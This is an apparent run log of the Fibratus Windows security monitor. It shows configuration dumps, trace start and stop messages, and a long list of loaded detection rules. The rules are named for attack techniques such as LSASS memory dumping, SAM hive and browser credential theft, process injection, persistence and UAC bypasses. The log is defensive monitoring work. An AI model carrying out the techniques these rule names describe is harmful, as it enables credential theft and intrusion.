source=bootstrap/bootstrap.go:184 +time=2025-11-26T14:35:59+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ enabled=>false use-template=>true content-type=>text/html port=>25 to=>[]] slack=>[ enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-images=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ buffer-size=>512 enable-fileio=>true enable-threadpool=>false enable-net=>true enable-handle=>false flush-interval=>1s enable-image=>true enable-registry=>true enable-vamap=>true enable-thread=>true stack-enrichment=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] max-buffers=>36 min-buffers=>16 enable-dns=>false enable-audit-api=>true enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true formatter=>text max-size=>100 max-backups=>15 level=>info max-age=>0] + output ......................... [ elasticsearch=>[ bulk-workers=>1 trace-log=>false flush-period=>1s enabled=>false sniff=>false healthcheck-timeout=>5s gzip-compression=>false timeout=>5s index-name=>fibratus template-name=>fibratus healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] healthcheck=>true] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] amqp=>[ url=>amqp://localhost:5672 vhost=>/ passive=>false tls-insecure-skip-verify=>false enabled=>false delivery-mode=>transient exchange=>fibratus routing-key=>fibratus timeout=>5s durable=>false exchange-type=>topic] eventlog=>[ enabled=>false level=>info] http=>[ serializer=>json method=>POST timeout=>5s endpoints=>[] enable-gzip=>false tls-insecure-skip-verify=>false enabled=>false]] + pe ............................. [ excluded-images=>[svchost.exe] read-sections=>false enabled=>false read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false skip-allocs=>false excluded-files=>[] scan-timeout=>10s excluded-procs=>[] skip-files=>false enabled=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-26T14:36:00+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-26T14:36:02+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-26T14:36:14+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T14:36:15+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-26T14:36:15+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-26T14:38:16+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-26T14:38:16+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-26T14:38:16+01:00 level=info msg=bootstrapping with pid 4420. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T14:38:16+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true quiet-mode=>false enabled=>false] mail=>[ use-template=>true content-type=>text/html to=>[] enabled=>false port=>25] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-pe=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ enable-dns=>false enable-registry=>true enable-fileio=>true flush-interval=>1s buffer-size=>512 min-buffers=>16 enable-handle=>false enable-audit-api=>true enable-net=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] stack-enrichment=>true max-buffers=>36 enable-vamap=>true enable-image=>true enable-threadpool=>false enable-mem=>false enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 level=>info log-stdout=>true max-backups=>15 max-size=>100 formatter=>text] + output ......................... [ elasticsearch=>[ template-name=>fibratus timeout=>5s sniff=>false healthcheck-interval=>10s index-name=>fibratus flush-period=>1s gzip-compression=>false healthcheck-timeout=>5s healthcheck=>true trace-log=>false bulk-workers=>1 servers=>[http://127.0.0.1:9200] enabled=>false] eventlog=>[ level=>info enabled=>false] amqp=>[ routing-key=>fibratus enabled=>false timeout=>5s delivery-mode=>transient tls-insecure-skip-verify=>false exchange-type=>topic passive=>false exchange=>fibratus durable=>false vhost=>/ url=>amqp://localhost:5672] http=>[ enable-gzip=>false serializer=>json endpoints=>[] timeout=>5s method=>POST tls-insecure-skip-verify=>false enabled=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-symbols=>false read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ enabled=>false excluded-files=>[] fastscan=>true skip-registry=>false skip-mmaps=>false excluded-procs=>[] scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-files=>false skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-26T14:38:17+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-26T14:38:18+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T14:38:19+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-26T14:38:19+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-26T14:38:21+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-26T14:39:15+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-26T14:39:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-26T14:39:15+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: false + HasFileEvents: false + HasRegistryEvents: true + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: CreateProcess, RegSetValue source=bootstrap/bootstrap.go:150 +time=2025-11-26T14:39:15+01:00 level=info msg=bootstrapping with pid 18864. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T14:39:15+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ to=>[] content-type=>text/html use-template=>true enabled=>false port=>25] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-handles=>false serialize-pe=>false serialize-threads=>false] + eventsource .................... [ enable-vamap=>true enable-threadpool=>false enable-registry=>true enable-dns=>false enable-net=>true stack-enrichment=>true buffer-size=>512 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-handle=>false enable-fileio=>true enable-mem=>false flush-interval=>1s min-buffers=>16 enable-audit-api=>true max-buffers=>36 enable-thread=>true enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-size=>100 max-backups=>15 level=>info max-age=>0 log-stdout=>true] + output ......................... [ console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ healthcheck-timeout=>5s bulk-workers=>1 sniff=>false flush-period=>1s template-name=>fibratus index-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s timeout=>5s trace-log=>false healthcheck=>true enabled=>false gzip-compression=>false] http=>[ serializer=>json method=>POST enable-gzip=>false enabled=>false tls-insecure-skip-verify=>false timeout=>5s endpoints=>[]] amqp=>[ routing-key=>fibratus url=>amqp://localhost:5672 vhost=>/ delivery-mode=>transient exchange-type=>topic exchange=>fibratus passive=>false timeout=>5s tls-insecure-skip-verify=>false enabled=>false durable=>false]] + pe ............................. [ read-resources=>false read-sections=>false enabled=>false read-symbols=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-registry=>false excluded-files=>[] skip-mmaps=>false scan-timeout=>10s excluded-procs=>[] enabled=>false skip-files=>false skip-allocs=>false fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-26T14:39:15+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-26T14:39:15+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-26T14:39:32+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T14:39:32+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-26T14:39:32+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-26T14:51:58+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-26T14:51:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-26T14:51:58+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: false + HasFileEvents: false + HasRegistryEvents: true + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: CreateProcess, RegSetValue 